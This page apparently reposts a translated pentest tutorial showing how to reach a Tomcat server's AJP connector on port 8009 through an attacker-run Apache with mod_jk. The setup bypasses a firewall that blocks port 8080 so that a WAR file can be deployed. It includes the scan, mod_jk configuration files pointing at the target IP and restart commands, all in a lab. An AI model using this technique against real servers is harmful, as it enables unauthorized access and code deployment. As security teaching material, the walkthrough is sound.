How could I exploit on Tomcat with AJP protocol

浏览:
字体:
发布时间:2013-12-17 09:37:14
来源:
Author:Mickey

Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.

图片1

My experiment environment:
192.168.0.102   Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103   BT 5 for pentesting

First, we used nmap to portscan and our tests show that port 8009 was open on图片2
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk

My jk.conf of the configuration:

root@mickey:/etc/apache2/mods-available# cat jk.conf# Update this path to match your conf directory locationJkWorkersFile /etc/apache2/jk_workers.properties# Where to put jk logs# Update this path to match your logs directory locationJkLogFile /var/log/apache2/mod_jk.log# Set the jk log level [debug/error/info]JkLogLevel info# Select the log formatJkLogStampFormat "[%a %b %d %H:%M:%S %Y]"# JkOptions indicate to send SSL KEY SIZE,JkOptions +ForwardKeySize +ForwardURICompat -ForwardDirectories# JkRequestLogFormat set the request formatJkRequestLogFormat "%w %V %T"# Shm log fileJkShmFile /var/log/apache2/jk-runtime-statusCreate a link with ln command to /etc/apache2/mods-enabled/:ln -s /etc/apache2/mods-available/jk.conf /etc/apache2/mods-enabled/jk.confConfigure jk_workers.properties as below:root@mickey:/etc/apache2# cat jk_workers.propertiesworker.list=ajp13# Set properties for worker named ajp13 to use ajp13 protocol,# and run on port 8009worker.ajp13.type=ajp13worker.ajp13.host=192.168.0.102 </---|Here is target ip addressworker.ajp13.port=8009worker.ajp13.lbfactor=50worker.ajp13.cachesize=10worker.ajp13.cache_timeout=600worker.ajp13.socket_keepalive=1worker.ajp13.socket_timeout=300

Default websites configuration:(as configure in /etc/apache2/sites-enabled/000-default )图片3

Restart apache:

sudo a2enmod proxy_ajpsudo a2enmod proxy_httpsudo /etc/init.d/apache2 restart

We have configured mod_jk of the module, then browse on 192.168.0.103 port 80 that will redirect to 192.168.0.102 port 8009,  Now, we can deploy WAR file.

图片4

Translated by hip

>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();